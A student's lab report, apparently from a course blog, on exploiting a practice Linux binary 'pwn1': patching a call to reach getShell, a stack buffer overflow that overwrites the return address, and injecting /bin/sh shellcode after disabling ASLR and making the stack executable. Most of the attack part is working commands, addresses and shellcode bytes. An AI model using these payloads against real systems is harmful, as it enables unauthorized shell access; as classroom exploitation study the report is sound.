2019-2020 20175122邱昕《网络对抗技术》Exp1 PC平台逆向破解

实践内容

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

除了main和foo,该可执行文件中还包含一个getShell代码片段,正常运行情况下这个getshell不会执行,我们的目的就是想办法运行这个代码片段

三个实践内容如下:

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

实践步骤

任务一 直接修改程序机器指令,改变程序执行流程

思路:修改机器指令强行跳转地址

1.下载pwn1兵进行反汇编

第一列为内存地址,第二列为机器指令,第三列为汇编指令。

我们找到了执行跳转的语句main第四行call 8048491<foo>,它对应的机器指令为e8 d7ffffff,内存地址为80484b5

e8就是call指令的机器指令,即跳转。

d7ffffff就是要跳转的地址

如图

此时eip的地址为8048ba,执行的话会执行eip d7ffffff指令

我们想让他调用getshell,修改d7ffffff为getshell-80484ba对应的补码

经过计算得到c3 ffffff

 2.对pwn1文件进行修改

打开pwn1文件

乱码

esc后输入:%!xxd -r

输入/e8 d7找到位置

将d7改为c3再转换为原格式保存退出

再次反汇编验证如图已经将d7改为了c3,且是getshell函数

运行pwn1且成功运行shell

任务二 通过构造输入参数,造成BOF攻击,改变程序执行流

思路

先安装gdb,后运行gdb pwn1,输入r进行调试

输入111111222222333333444444555555666666观察寄存器

显示eip            0x36363636          0x36363636

即6666,所以eip寄存器的值是保存程序下一步所要执行指令的地址,此处我们可以看出本来应返回到foo函数的返回地址已被"6666"覆盖

我们再次输入字符串1111111122222222333333334444444412345678

进行观察

由于eip是0x34333231即1234,所以就要把字符串中会覆盖EIP的字符替换成getShell的地址

将getShell的地址0x0804847d把后面的数值替换,即是输入11111111222222223333333344444444x7dx84x04x08

因为我们没法通过键盘输入x7dx84x04x08的16进制值,所以先要生成包括这样字符串的一个文件。x0a表示回车,

如果没有的话,在程序运行时就需要手工按一下回车键。于是我们通过输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input来生成这样的文件。

通过管道符号    |    再将input文件作为pwn1的输入。

任务三 注入Shellcode并执行

准备工作

准备shellcode指令

使用老师给的指令x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80

安装软件包兵进行一系列准备工作

root@20175122:/home/kali/Desktop# execstack -s pwn1     设置堆栈可执行
root@20175122:/home/kali/Desktop# execstack -q pwn1     查询文件的堆栈是否可执行
X pwn1
root@20175122:/home/kali/Desktop# more /proc/sys/kernel/randomize_va_space    查看内存地址随机化的参数
2
root@20175122:/home/kali/Desktop# echo "0" > /proc/sys/kernel/randomize_va_space     关闭地址随机化
root@20175122:/home/kali/Desktop# more /proc/sys/kernel/randomize_va_space
0

进行攻击

首先我们还是要生成一个文件来让pwn1完成输入

使用perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode

将该文件导入pwn1并运行

打开另一个终端进行调试

利用ps -ef | grep pwn1发现进程号为2896

输入gdb进入调试界面,然后输入attach 2896调试这个进程

输入命令disassemble foo查看ret的进程值为0x080484ae

输入命令0x080484ae0x080484ae处设置断点,查看注入buf的内存地址。

在第一个终端回车,在第二个终端输入c

输入指令info r esp查看查看栈顶指针所在的位置,并查看改地址存放的数据

因为结构为anything+retaddr+nops+shellcode。

所以0xffffd6ec存放的是01020304,也就是返回地址。

因此,修改input_shellcode文件中的代码:

perl -e 'print "A" x 32;print "xf4xd6xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

并再次利用  |   输入,就能成功攻击了

 

四、实验感想

网络对抗的第一次实验,我没有学习过有关java或linux的课程,做起来有些吃力,但在查阅资料和同学的帮助下,还是成功完成了本次实验,知道了很多以前我从来不知道的知识,包括16进制需要创建文件来导入,栈的更多知识,以前在学汇编的时候明白了溢出攻击的原理,今天成功的自己做了出来,成就感很强。另外,对着老师或者同学学长学姐的博客是不能成功做出本次实验的,需要理解,包括进程编号,内存地址,每台电脑的不一样,因此,每台电脑需要创建的注入攻击所用的文件也不一样。

在接下来的学习中我将逐渐补全linux的知识和操作,争取早日跟上大家的脚步

五、课后问题

什么是漏洞?漏洞有什么危害?

本次实验的漏洞实在软件的实现上存在缺陷,可以使攻击者在未授权的情况下访问或者破坏系统。

漏洞的出现能使一些本来能正常运行的软硬件出现使用的问题,影响到人们正常的工作学习。

原文地址:https://www.cnblogs.com/qiuxin/p/12436320.html